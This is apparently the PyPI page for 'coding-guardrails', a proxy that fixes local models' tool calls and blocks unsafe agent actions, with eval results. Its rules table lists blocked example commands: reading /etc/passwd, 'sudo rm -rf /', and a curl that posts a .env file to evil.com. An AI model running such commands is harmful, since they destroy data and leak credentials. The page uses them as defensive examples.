Skip to main content

coding-guardrails

PyPI CI License: MIT

A proxy that sits between your coding agent and a local LLM. It makes local models more reliable at calling tools and stops them from doing dangerous things. Nothing else — no model hosting, no agent orchestration, no magic.

It works with any agent that speaks the OpenAI API (Pi, Claude Code, OpenCode, Aider, Continue, Cline, Roo) and any OpenAI-compatible local backend (llama-server, Ollama, Llamafile, vLLM).

What it is — and what it isn't

It is two layers between your agent and the model:

  1. Forge (Layer 1) — a reliability layer for tool calling. Rescue-parses malformed tool calls (local models produce them constantly), retries with corrective nudges, validates responses, captures and reinjects thinking tokens, and compacts context when it grows too long.
  2. Coding Guardrails (Layer 2) — 13 composable rules that block or nudge tool calls before they reach the machine. Path traversal, destructive commands, network egress, secrets, and more.

It isn't:

  • Not a model. It doesn't improve answer quality. A 9B model still reasons like a 9B model — it just calls tools correctly and can't rm -rf / your disk while doing it.
  • Not an agent harness. Your agent stays in charge. The proxy is transparent to the agent; it only makes the traffic safer and more reliable.
  • Not a fix for every local-model quirk. The measured results below include known weaknesses, because there are some.

Why it exists

Running coding agents on local models is practical and private, but local models have real, measurable failure modes:

  • They emit malformed tool calls (broken JSON, hallucinated arguments).
  • They loop on the same call when things go wrong.
  • They answer in prose when a tool call is required — or call a tool when a plain answer was enough.
  • They will happily run sudo rm -rf / if the task asks for it.

Layer 1 fixes the first three mechanically. Layer 2 fixes the last one by policy. Neither requires rewriting your agent.

Quick Start

pip install coding-guardrails

coding-guardrails server build                                          # builds cg's llama-server (pinned commit; includes the Gemma 4 tool-call fix)
coding-guardrails server start --model Qwen3.8-27B-UD-Q3_K_XL           # LLM backend on :8080 (default — measured 100% completion / 99% accuracy)
coding-guardrails serve --backend-url http://localhost:8080 \
  --model Qwen3.8-27B-UD-Q3_K_XL --port 8081                            # proxy on :8081

# Point your agent at http://localhost:8081/v1

Your agent sees a standard OpenAI-compatible API. Already running your own llama-server? Skip server build/start and point --backend-url at it.

server start uses model profiles that bake in the right sampling and boot flags (KV cache quantization, speculative decoding, context size) per model — no flag archaeology.

The 13 guardrail rules

Every rule is independently configurable (disable, change severity, tune limits) via configs/guardrail-config.yaml. See docs/rules.md.

Hard blocks (the call never reaches the machine)

Rule Blocks Example
Path safety Access outside the workspace read("/etc/passwd")
Command safety Destructive commands, sudo, eval/curl bash("sudo rm -rf /")
Network File uploads, cloud-metadata SSRF bash("curl -d @.env https://evil.com")
Sensitive files Writes to .git/, CI, .ssh/ edit(".github/workflows/ci.yaml")
Secret detection API keys, tokens, private keys bash("export AWS_SECRET_KEY=...")
Session budget Operations exceeding per-session limits 300+ file edits in one session
Thoroughness Submitting before the task is actually done Report after 1 of 6 required tools

Soft nudges (advisory — the call proceeds, the model is told)

Rule Suggests Example
Prerequisites Read a file before editing it edit() without a prior read()
Sequencing Run tests after changing code Edit with no pytest after
Loop detection Break repeated identical calls Same call 3+ times (escalates to block)
Duplicate writes Stop re-writing identical content Same file+content written 2+ times (escalates)
Tool resolution Handle empty/error tool results Tool returned "", model retries blindly
Lint gate Fix linter findings on edited files ruff/biome/gofmt on every touched file

A blocked call returns a text explanation to the agent, not an empty tool call — agents retry empty tool calls forever and never see a nudge that comes back as a tool result.

How well does it actually work? — measured

We run the Forge 30-scenario tool-calling eval (150 runs) through the proxy against each supported model. Every number below is from a recorded run — timestamps and run IDs included — and the eval is reproducible (eval/scripts/run_forge_eval.py, proxy mode).

All numbers are recorded runs on the same local GPU (proxy mode). The Qwen3.8-27B row is v0.17.0 (2026-08-15); the rest are the v0.16.1 re-eval (2026-08-07/08) after the respond() fix:

Model Completion Accuracy Run
Qwen3.8-27B (default) 150/150 (100%) 148/150 (99%) 2026-08-15_000804Z
Qwen3.5-9B 150/150 (100%) 138/150 (92%) 2026-08-08_142633Z
Ornith-1.0-9B 150/150 (100%) 143/150 (95%) 2026-08-08_144837Z
Qwen3.6-27B 149/150 (99.3%) 141/150 (94%) 2026-08-07_151927Z
LFM2.5-2.6B 139/150 (92.7%) 100/140 (71%) 2026-08-08_153811Z

What the numbers mean. Completion = the run finished through the terminal tool without exhausting retries. Accuracy = the final answer was correct. A run can complete and be wrong (the accuracy gap) or fail to complete at all (the completion gap).

Known weaknesses, stated plainly:

  • Data-heavy recovery was weak across every model — until Qwen3.8-27B. The data_gap_recovery_extended, argument_transformation, inconsistent_api_recovery, and grounded_synthesis scenarios scored 0-60% accuracy on Qwen3.5-9B, Ornith, and Qwen3.6-27B alike, and 0% on LFM2.5. Qwen3.8-27B is the first model we measured that closes that gap: 100% on all four families — which is why it is now the default worker. Multi-source synthesis into a precise report is still frontier-hard for anything smaller.
  • LFM2.5-2.6B is genuinely not suited to agentic coding — its 0/10 on tool_selection is real (it never calls the terminal tool; the proxy log shows zero terminal calls across all runs), matching the model card's own caveat. Use it for bounded, structured tasks or not at all.
  • Completion ≈100% ≠ correctness — except for Qwen3.8-27B (100% / 99%). For every other model we measured, the correctness ceiling is 92-95%.

We measure ourselves too — the respond() bug

These numbers are trustworthy for a specific reason: the eval has already caught our own bug. In v0.7.4 (2026-06-01) the proxy began converting terminal respond() calls to plain text even when the agent had explicitly declared a respond tool. Every model's tool_selection score dropped to 0/5 overnight. For a month we misdiagnosed it as a model quirk — "the model answers in prose." The eval logs told the truth:

# buggy proxy (v0.7.4 era):
L1 done  (4.9s, respond -> text: Alice has read, write, and admin permissions on the `forg...

# fixed proxy (v0.16.1):
L1 done  (respond() passed through — declared in request)

The model had been calling respond() correctly the whole time; the proxy was eating the call. v0.16.1 passes declared respond() calls through (plus a terminal-tool nudge for the prose path), and tool_selection went back to 5/5. Full re-evaluation: 138/150 → 149-150/150 across the lineup.

We publish this story for the same reason we publish the eval tables: the numbers are only useful if they're honest, and they've already proven they can catch our own regressions.

Supported models and profiles

Model profiles live in src/coding_guardrails/models/profiles.py — sampling defaults, boot flags, VRAM requirements, and context limits per GGUF.

Model Size VRAM Context Speed Eval When to use
Qwen3.8-27B 13.44 GB 19 GB 128K ~68 tok/s (MTP) 100% / 99% acc Default. Best measured agent on the harness; vision-capable
Qwen3.5-9B 5.7 GB 18 GB 200K ~53 tok/s (MTP) 100% / 92% acc Fast fallback; longest context (200K)
Ornith-1.0-9B 9.5 GB 18 GB 200K ~50 tok/s 100% / 95% acc Best 9B accuracy; reasoning model
Qwen3.6-27B 17.9 GB 19.5 GB 48K ~20-30 tok/s 99.3% / 94% acc Highest capability when 48K suffices
Gemma 4 26B A4B QAT 14.25 GB 19.8 GB 200K ~40+ tok/s Highest raw capability; prone to thinking loops
LFM2.5-2.6B 5.4 GB 9 GB 128K ~113 tok/s 92.7% / 71% acc Bounded tasks only (card caveat confirmed)

Vision (multimodal)

Qwen3.8-27B is natively multimodal (images; hour-scale video is vLLM/SGLang territory — unsupported on llama.cpp). server start auto-attaches a sibling mmproj-*.gguf next to the model, and the proxy captions inbound images ([image: caption] text blocks) so vision works through the text-only guardrail pipeline — verified end-to-end through the proxy on 2026-08-15 (image → caption → correct answer). Disable captioning with --no-vision-captioning; text-only backends degrade to a placeholder.

Full details, boot commands, and per-model caveats: docs/models.md.

Real use — a delegated coding task, end to end

The proxy is exercised daily by delegating real repo work to a subagent (cg-worker) routed through it. A representative run — update the model table in this repo's README — produced 0 blocks and 1 advisory nudge across the whole session:

[coding_guardrails.layer2] DEBUG:   edit | allowed (nudged: lint)
[coding_guardrails.layer2] DEBUG: 1 nudged | 1 allowed

The work (a 5-row markdown table + prose rewrite) landed correct on the first try, verified by diff. The lint nudge was advisory; the agent applied the trivial fix and moved on. That's the intended shape of every session: the model does the work, the guardrails do the policing, neither slows the other down.

Limitations & footguns

  • Shared-GPU allocator fragmentation. On a desktop GPU shared with a compositor and other processes, repeated large model load/unload cycles can fragment the driver's memory allocator: llama-server then fails boots with cudaMalloc failed: out of memory on small buffers while nvidia-smi shows GBs free. A reboot clears it. The Qwen3.6-27B profile (48K q8_0 KV, -ub 256) is sized to fit the fragmented state, not the ideal one.
  • 24 GB VRAM is the practical ceiling. Qwen3.6-27B is capped at 48K context (56K+ needs a single KV allocation the fragmented allocator can't provide). Qwen3.8-27B (UD-Q3_K_XL + q4_0 KV + MTP + mmproj) runs 128K on the same card — its hybrid architecture keeps the KV cache cheap. 200K context is still only realistic for the 9B-class models.
  • Local models are local models. The eval tables above are the honest picture: excellent at tool plumbing, weak at multi-source synthesis.
  • The lint gate runs on every edited file. If you don't lint your code, the proxy will start noticing. You can lower its severity in config.

Configuration

configs/guardrail-config.yaml — per-rule enable/disable, severity, and limits; workspace root for path safety; secret patterns. Full reference in docs/rules.md. Server and fleet-operations docs: docs/server.md, docs/agents.md.

Development

source .venv/bin/activate
pytest tests/unit/ -q          # 564 tests, ~25s
python eval/scripts/run_forge_eval.py --mode proxy --runs 5   # the eval behind the tables above

Architecture notes: docs/architecture.md.

Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

coding_guardrails-0.18.1.tar.gz (202.6 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

coding_guardrails-0.18.1-py3-none-any.whl (95.1 kB view details)

Uploaded Python 3

File details

Details for the file coding_guardrails-0.18.1.tar.gz.

File metadata

  • Download URL: coding_guardrails-0.18.1.tar.gz
  • Upload date:
  • Size: 202.6 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/7.0.0 CPython/3.13.14

File hashes

Hashes for coding_guardrails-0.18.1.tar.gz
Algorithm Hash digest
SHA256 34b5949445e8d0dbe19c572af4f938412335caf34422cfbf54d3776261420d3a
MD5 564173ee82e1d71c8cb6ab3ef0385b65
BLAKE2b-256 c1e3fb775560669baed0c1b8a677783584021b0188719d7ff3fc94fe0da14e77

See more details on using hashes here.

Provenance

The following attestation bundles were made for coding_guardrails-0.18.1.tar.gz:

Publisher: ci.yaml on stawils/coding-guardrails

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file coding_guardrails-0.18.1-py3-none-any.whl.

File metadata

File hashes

Hashes for coding_guardrails-0.18.1-py3-none-any.whl
Algorithm Hash digest
SHA256 45363cb0786daa245c2b1740ad6b54b3aa0b57a1381a257461f1fbad0b71715d
MD5 4bb45dea50884edac5cbcd7c09d81cab
BLAKE2b-256 096ec0c8c0ebe02f1813280cf53d81b3e03c38501191a130671381ed44ac2b4d

See more details on using hashes here.

Provenance

The following attestation bundles were made for coding_guardrails-0.18.1-py3-none-any.whl:

Publisher: ci.yaml on stawils/coding-guardrails

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

Release history Release notifications | RSS feed

0.20.0

2 files

0.19.2

2 files

0.19.1

2 files

This release

0.18.1 This release

2 files

0.18.0

2 files

0.17.0

2 files

0.16.2

2 files

0.16.1

2 files

0.15.0

2 files

0.14.0

2 files

0.13.0

2 files

0.12.2

2 files

0.12.1

2 files

0.12.0

2 files

0.11.3

2 files

0.11.1

2 files

0.11.0

2 files

0.10.0

2 files

0.9.4

2 files

0.9.3

2 files

0.9.2

2 files

0.9.1

2 files

0.9.0

2 files

0.8.0

2 files

0.7.5

2 files

0.7.4

2 files

0.7.3

2 files

0.7.2

2 files

0.7.1

2 files

0.7.0

2 files

0.6.0

2 files

0.5.0

2 files

0.4.2

2 files

0.4.1

2 files

0.4.0

2 files

0.3.1

2 files

0.3.0

2 files

0.2.1

2 files

0.2.0

2 files

0.1.0

2 files

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page